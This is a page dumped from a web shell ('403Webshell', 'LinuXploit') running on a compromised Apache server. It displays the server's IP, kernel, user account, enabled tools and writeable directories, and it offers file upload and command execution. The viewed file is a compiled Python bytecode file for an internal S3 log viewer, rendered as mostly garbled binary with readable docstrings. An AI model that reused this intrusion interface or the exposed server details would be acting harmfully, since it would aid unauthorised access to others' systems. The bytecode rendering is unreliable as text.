403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/698955/cwd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/698955/cwd/__pycache__/s3data.cpython-312.pyc
�

K ^j�F��d�dZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZddlZddl
mZddlmZddlmZddlmZdd	lmZmZej0j3d
d�Zej0j3dd
�ZdZdZdZed�\Z Z!Z"Z#Z$Z%dZ&ejN�Z(ejR�Z*iZ+iZ,ejZ�Z.da/ejN�Z0d�Z1d�Z2d�Z3d�Z4d*d�Z5d�Z6d�Z7d�Z8d�Z9d�Z:d�Z;d�Z<d�Z=d �Z>d!�Z?d*d"�Z@d#�ZAd$�ZBd%�ZCd&�ZD		d+d'�ZEd,d(�ZFd)�ZGy)-a#Read-only access to the parsed bucket, plus the caching that keeps it quick.

Everything here is GetObject/ListObjectsV2 against bsd-wpe-logs-parsed. Nothing
in this app writes to S3, creates AWS resources, or touches bucket settings.

The shape we read:
    summary/date=YYYY-MM-DD.json                    small, one per day
    events/date=YYYY-MM-DD/site=<domain>/<f>.jsonl  one JSON object per line

HOW THIS STAYS FAST

The overview only ever reads the summary files (9 small objects), so it is
effectively instant.

The detail table works out which shards can possibly match the filters and
fetches only those. A date narrows it to that day's ~110 shards; a site narrows
it to one. Shards are fetched in parallel and cached in memory, so paging
through results costs nothing after the first load. The worst case -- every day,
no site filter -- is ~160MB and takes a while the first time, then is cached.

Events are cached as plain tuples rather than dicts, and the repeated strings
are interned, which keeps the whole dataset in memory at a sane size.
�N)�ThreadPoolExecutor)�date�	timedelta)�Config)�ClientError)�category_for)�
is_content)�install_from_source_key�install_from_stem�
PARSED_BUCKETzbsd-wpe-logs-parsed�
AWS_REGIONz	us-east-1zmanifest/processed.json�i��i,c��t�,t5t�ttd��addd�tStS#1swYtSxYw)zAThe process-wide fetch pool, built on first use (after any fork).N�s3fetch)�max_workers�thread_name_prefix)�_pool�
_pool_lockr�_WORKERS���,/var/www/bsd-crawler-parser/viewer/s3data.py�	_executorrYsF��
�}�
�	I��}�*�x�>G�I��	I��L�5�L�		I��L�s	�9�Ac� �tj�}t5tj|�}|r|d|kDr|dcddd�Sddd�|�}t5||z|ft|<ddd�|S#1swY�/xYw#1swY|SxYw)z3Memoise `produce()` under `name` for `ttl` seconds.r�N)�time�_lock�
_ttl_cache�get)�name�ttl�produce�now�hit�values      r�_cachedr'ds���
�)�)�+�C�	���n�n�T�"���3�q�6�C�<��q�6����
�I�E�	�.��#�I�u�-�
�4��.��L����
.��L�s�$A7�B�7B�B
c	��ttdd�}|�;tjdtttdzddi����}|t_|S)N�c�s3��max_attempts�)�max_pool_connections�retries)�region_name�config)�getattr�_client_holder�boto3�client�REGIONrrr))�gots rr5r5qsN���.�#�t�
,�C�
�{��l�l����x�!�|�n�VW�EX�Y�
��
����Jrc��	t�jtdd��y#t$rA}d|jjdi�jdt
|��fcYd}~Sd}~wt$r}dt
|�fcYd}~Sd}~wwxYw)	z6Confirm we can read the bucket. Returns (ok, message).zsummary/r)�Bucket�Prefix�MaxKeys)T�okF�Error�MessageN)r5�list_objects_v2�BUCKETr�responser �str�	Exception)�excs r�check_accessrEsv����� � ��z�1� �M����M��c�l�l�&�&�w��3�7�7�	�3�s�8�L�L�L�����c�#�h�����s,� #�	B�6A(�"B�(B�4B�B�Bc�2�gg}}t�jd�}t|d�}|r||d<|jdi|��D]R}|j	d�|jdg�D��|j	d�|jdg�D���T||fS)	Nr?)r9r:�	Delimiterc3�&K�|]	}|d���y�w)�KeyNr)�.0�os  r�	<genexpr>z_list_keys.<locals>.<genexpr>�s����>��1�U�8�>����Contentsc3�&K�|]	}|d���y�w)r:Nr)rJ�ps  rrLz_list_keys.<locals>.<genexpr>�s����L���(��L�rM�CommonPrefixesr)r5�
get_paginatorr@�paginate�extendr )�prefix�	delimiter�out�prefixes�	paginator�kwargs�pages       r�
_list_keysr\�s������C���&�&�'8�9�I��&�
1�F��'��{��"�	�"�"�,�V�,�M���
�
�>�T�X�X�j�"�%=�>�>����L�T�X�X�6F��-K�L�L�M���=�rc�*�d�}tdt|�S)z-Every date with a summary file, newest first.c���td�\}}g}|D]@}|td�d}|jd�s�#|j|dtd���Bt	|d��S)Nz
summary/date=z.jsonT)�reverse)r\�len�endswith�append�sorted)�keys�_�dates�k�stems     rr#z available_dates.<locals>.produce�sj���_�-���a����	3�A��S��)�*�+�D��}�}�W�%����T�.�C��L�=�1�2�	3��e�T�*�*rrf�r'�	_LIST_TTL�r#s r�available_datesrl�s��+��7�I�w�/�/rc��t5|tvrt|cddd�S	ddd�	t�jtd|z��dj�}tj|�}|jdd�t5|t|<ddd�|S#1swY�~xYw#t$rYywxYw#1swY|SxYw)z@The daily summary dict, cached. None if that day has no summary.Nzsummary/date=%s.json�r9rI�Body�by_url)
r�_summary_cacher5�
get_objectr@�readr�json�loads�pop)�day�body�docs   r�summaryrz�s���	�'��.� �!�#�&�'�'� �'���x�"�"�&�6L�s�6R�"�S�TZ�[�`�`�b���*�*�T�
�C��G�G�H�d��	�"�!��s��"��J�'�'��
�����"��J�s(�B �3B,�
B;� B)�,	B8�7B8�;Cc�$�|sgSt5|D�cgc]
}|tvs�|��}}ddd�r'tt�j	t
|��|D�cgc]}t|�s�|t|�f��c}Scc}w#1swY�^xYwcc}w)zCSummaries for many days, fetched in parallel. Skips days with none.N)rrq�listr�maprz)�days�d�missings   r�	summariesr��s|����	�	�?�"�>��a�~�&=�1�>��>�?���Y�[�_�_�W�g�
.�/�%)�8��W�Q�Z�Q���
�O�8�8��?�?�?��9s,�B�
A<�A<�B�B
�*B
�<B�B
c��t�}|D]*}|fd�}|jtd|zt|���,t	|�S)aSites that have data on the given days, for the filter dropdown.

    Scoped to the selected dates rather than the whole bucket: one delimited
    list per day, cached per day. Listing all nine days to populate a dropdown
    made the first detail page load take tens of seconds.
    c���td|zd��\}}g}|D]Q}|td|z�djd�}|jd�s�5|j	|td�d��S|S)N�events/date=%s/�/)rV�site=)r\r`�rstrip�
startswithrb)rrerXrWrP�tails      rr#zsites_for.<locals>.produce�sy��$�%6��%:�c�J�K�A�x��C��
4����.��2�3�4�5�<�<�S�A���?�?�7�+��J�J�t�C��L�M�2�3�
4��Jrzsites:)�set�updater'rjrc)r~�seenrwr#s    r�	sites_forr��sK���5�D��	A���	�	
���G�H�s�N�I�w�?�@�	A��$�<�rc�(�tt��S)zGEvery site across every day. Slow (one list per day); prefer sites_for.)r�rlrrr�	all_sitesr��s���_�&�'�'rc�*�d�}tdt|�S)a!Every install we are capturing logs for, whether or not it has hits.

    Read from the parser's manifest rather than by listing the source bucket:
    the manifest keys ARE the source filenames, so this is still "derived from
    the log filenames", but it keeps the viewer's reach inside the parsed bucket.
    That matters -- the source bucket holds raw request logs (IP plus browsed
    URL), and the viewer has no business being able to read them.

    A file with no AI hits still has a manifest entry, which is exactly what
    makes a zero-hit site nameable: an empty log has no vhost to read.

    Caveat, deliberately: this counts sites whose logs reach us. A site that has
    never had log export switched on has no file, no manifest entry, and cannot
    appear here. See the README.
    c�r�	t�jtt��dj	�}	t
j|�}t�}|jdi�D]!}t|�}|s�|j|��#t|�S#t
$rgcYSwxYw#t$rgcYSwxYw)Nrnro�	processed)r5rrr@�MANIFEST_KEYrsrrtru�
ValueErrorr�r r
�addrc)rxry�found�key�installs     rr#z!tracked_installs.<locals>.produce�s���	��8�&�&�f�,�&�G��O�T�T�V�D�	��*�*�T�"�C�����7�7�;��+�	#�C�-�c�2�G���	�	�'�"�	#��e�}����	��I�	���	��I�	�s"�4B�B(�B%�$B%�(B6�5B6�installsrirks r�tracked_installsr��s�� ��:�y�'�2�2rc	��tjt�}|D]�}d|z}td|zt|fd��}|D]�}|jd�s�|t
|�d}|jd�s�5|t
d�djd�\}}}	t|	dt
d��}
|
s�q||
j|�����t|�S)am{install: {domain, ...}} for the given days, read from the event keys.

    Both halves of the pairing are in the key already -- the partition is the
    vhost, the stem is the install -- so this observes the mapping rather than
    guessing it. Listing is per-day and cached, and shares its cache entry with
    shard_keys(), so the overview pays for it once.
    r��keys:c��t|�dS�Nr�r\�rPs r�<lambda>z!install_domains.<locals>.<lambda>s��Z�PQ�]�ST�EU�r�.jsonlNr�r�)�collections�defaultdictr�r'rjrar`r��	partitionrr��dict)r~rWrwrUrdr��rest�domainrerhr�s           r�install_domainsr��s����
!�
!�#�
&�C��)��"�S�(���w��'��V�4U�V���		)�C��<�<��)���s�6�{�|�$�D��?�?�7�+��"�3�w�<�=�1�;�;�C�@�O�F�A�t�'��-=��H�
�~�(>�?�G���G�� � ��(�		)�)���9�rc�d�i}t|�j�D]\}}|D]}|||<�	�|S)z�{domain: install}, the inverse of install_domains().

    Safe as a plain dict: no domain is served by more than one install (checked
    against the whole bucket), so this cannot collide.
    )r��items)r~rWr��domainsr�s     r�domain_to_installr�sJ��
�C�+�D�1�7�7�9�"�����	"�F�!�C��K�	"�"��Jrc�<�tt��}g}	tj|�}tj|�}||kr||}}|}||kr:|j�}||vr|j
|�|td��z
}||kr�:|S#t$rgcYSwxYw)z*Dates that exist AND fall in [start, end].r)r~)r�rlr�
fromisoformatr��	isoformatrbr)�start�end�haverW�d0�d1�cur�isos        r�dates_in_ranger�#s����� �!�D�
�C��
�
�
��
&��
�
�
��
$��
�B�w��R�B��
�C�

��)��m�m�o���$�;��J�J�s�O��y�a� � ��	��)�
�J�����	��s�*B
�
B�Bc��|jdd�d}|jd�syt|dtd��S)zFThe install a shard came from, read from its stem. None if unreadable.r�r���r�N)�rsplitrarr`)r�rhs  r�install_of_keyr�7s?���:�:�c�1��b�!�D��=�=��"���T�"2�S��]�N�3�4�4rc���|rt|�nd}g}|D]X}d|z}td|zt|fd��}|D]5}|jd�s�|�t	|�|vr�%|j|��7�Z|S)a.Only the shards that can match: scoped by date, and by install if given.

    `sites` holds installs, not domains -- one install can serve several vhosts
    and so several site= partitions, and all of them are the same site. Matching
    on the stem picks up every one of them without needing to know the domains.

    This lists one prefix per day and filters, rather than listing each install's
    partition. It is the same number of S3 calls (a day is well under one page)
    and the listing is then shared with install_domains() and the overview.
    Nr�r�c��t|�dSr�r�r�s rr�zshard_keys.<locals>.<lambda>Ns��J�q�M�RS�DT�rr�)r�r'rjrar�rb)r~�sites�wantrdrwrUr7r�s        r�
shard_keysr�?s����3�u�:�D�D�
�D����"�S�(���g��&�	�F�3T�U���	�C��<�<��)����N�3�$7�t�$C���K�K���	���Krc��t�jt|��dj�j	dd�}g}|j�D]�}|j
�s�	tj|�}tjt|jdd���}tjt||jd���}|j|jdd�tjt|jd	d���|||jd
d�|jd�f���|S#t$rY��wxYw)Nrnrozutf-8�replace�ai_platform��category�	timestamp�site�url�status_code)r5rrr@rs�decode�
splitlines�striprtrur��sys�internrBr rrb)r�rx�rows�line�e�platform�groups       r�_parse_shardr�Xs%���8���f�#��6�v�>�C�C�E�L�L�W�V_�`�D�
�D����!����z�z�|��	��
�
�4� �A��:�:�c�!�%�%�
�r�":�;�<���
�
�<��!�%�%�
�2C�D�E�����
�E�E�+�r�"��J�J�s�1�5�5���,�-�.���
�E�E�%���
�E�E�-� �

�	��&�K���	��	�s�(E�	E�Ec��t5tj|�}|� tj|�|cddd�S	ddd�t	|�}t5|t|<tj|�tt�tkDr-tjd��tt�tkDr�-ddd�|S#1swY��xYw#1swY|SxYw)NF)�last)r�_shard_cacher �move_to_endr�r`�_MAX_CACHED_SHARDS�popitem)r�r%r�s   r�
load_shardr�qs���	�����s�#���?��$�$�S�)��	����
���D�	�-� ��S��� � ��%��,��"4�4�� � �e� �,��,��"4�4�-�
�K����-�
�K�s�.C�A!C�C�Cc#�~K�|syt|t�jt|��D]\}}||f���
y�w)ahYield (key, rows) per shard, fetched in parallel, each shard exactly once.

    pool.map keeps the results in order and hands them over as they finish, so
    callers can consume and discard rather than holding every shard at once. The
    key rides along because it carries the install -- the rows only know the
    vhost, which is not the site identity.
    N)�ziprr}r�)rdr�r�s   r�_shard_rowsr��s>��������y�{���z�4�@�A��	��T��4�i���s�;=c�R�g}t|�D]\}}|j|��|S)z?Fetch many shards in parallel, returning one flat list of rows.)r�rT)rdrWrer�s    r�load_shardsr��s0��
�C��t�$����4��
�
�4����Jrc��t||�}|sgdiifS|rt|�nd}|rt|�nd}	|xsdj�j�}
g}t	j
�}t	j
�}
t
|�D]�\}}|D]�}|�|t|vr�|	�|t|	vr�|rt|t�s�4|
r|
|tj�vr�P||txxdz
cc<|
|txxdz
cc<|j|�����t|�}|jd�d��|�|d|}||t|�t|
�fS)a�Matching event rows, newest first, plus the totals for the whole match.

    Filters shard-by-shard rather than materialising every row and filtering
    afterwards, so a wide date range costs roughly what it matches, not what it
    scans. Returns (rows, total, by_group, by_platform).

    `content_only` drops assets, APIs, robots.txt and scanner probes -- see
    content.py. It filters here, before counting, so the counts and the table
    always agree.
    rNr�rc��|tS�N)�TS)�rs rr�zquery.<locals>.<lambda>�s
��q��u�rT)r�r_)r�r�r��lowerr��Counterr��GROUP�PLATFORMr	�URLrbr`�sortr�)r~r��	platforms�groups�	url_query�content_only�limitrd�want_groups�want_platforms�needle�matched�by_group�by_platformrer��row�totals                  r�queryr��si���d�E�"�D���1�b�"�}��!'�#�f�+�T�K�'0�S��^�d�N��o�2�
$�
$�
&�
,�
,�
.�F��G��"�"�$�H��%�%�'�K�
�t�$� ���4��	 �C��&�3�u�:�[�+H���)�c�(�m�>�.Q���J�s�3�x�$8���&��C����(8�8���S��Z� �A�%� ���H�
�&�!�+�&��N�N�3��	 � �
��L�E��L�L�_�d�L�3����&�5�/���E�4��>�4��+<�<�<rc��t|�}|siifS|rt|�nd}tj�}tj�}t	|�D]^\}}t|�}	|D]I}
|�|
t|vr�|rt|
t�s�&||
txxdz
cc<|	s�=||	xxdz
cc<�K�`t|�t|�fS)ahOverview totals from the event shards: (by_platform, by_install).

    The daily summaries are pre-aggregated and carry no URL detail, so they
    cannot answer "how many of these were real pages?". When the content filter
    is on we have to count the events themselves. That is slower than reading a
    summary, which is why the overview still uses summaries when the filter is
    off, and why startup pre-warms the default range.

    Counts land on the install, not row[SITE]: a hit on buckfirelaw.com and one
    on buckfirelaw.wpengine.com are the same site and must add up, not appear as
    two rows.
    Nr)r�r�r�r�r�r�r�r	r�r�r�)r~r�r�rdr�r��
by_installr�r�r�r�s           r�rollupr��s����d��D���2�v�
� �3�v�;�d�D��%�%�'�K��$�$�&�J� ��&�	)�	��T� ��%���	)�C���C��J�d�$:���J�s�3�x�$8����H�
�&�!�+�&���7�#�q�(�#�	)�	)����d�:�.�.�.rc��t5tt�}td�tj	�D��}ddd�d�S#1swY�xYw)Nc3�2K�|]}t|����y�wr�)r`)rJ�vs  rrLzcache_stats.<locals>.<genexpr>�s����;��S��V�;�s���shards�events)rr`r��sum�valuesrs  r�cache_statsr�sJ��	�<��\�"���;�\�%8�%8�%:�;�;��<���/�/�<�<�s�4A�Ar�)NNNr�FN)NF)H�__doc__r�rt�osr��	threadingr�concurrent.futuresr�datetimerrr4�botocore.configr�botocore.exceptionsr�
categoriesr�contentr	r�r
r�environr r@r6r�rr��ranger��SITEr�r�r��STATUSrj�Lockr�OrderedDictr�rqr�localr3rrrr'r5rEr\rlrzr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr�<module>rs_���0��	�
���1�$��"�+�#��<�	������)>�	?��	������k�	2��
)������*/�q��&��D�(�E�3��

�	��	�����&�{�&�&�(����
�
� ����"��	
��
�Y�^�^�
�
��
���	�
0��&9��*(�
3�D�2
��(5��2�2���DF�$(�-=�`/�B0r

Youez - 2016 - github.com/yon3zu
LinuXploit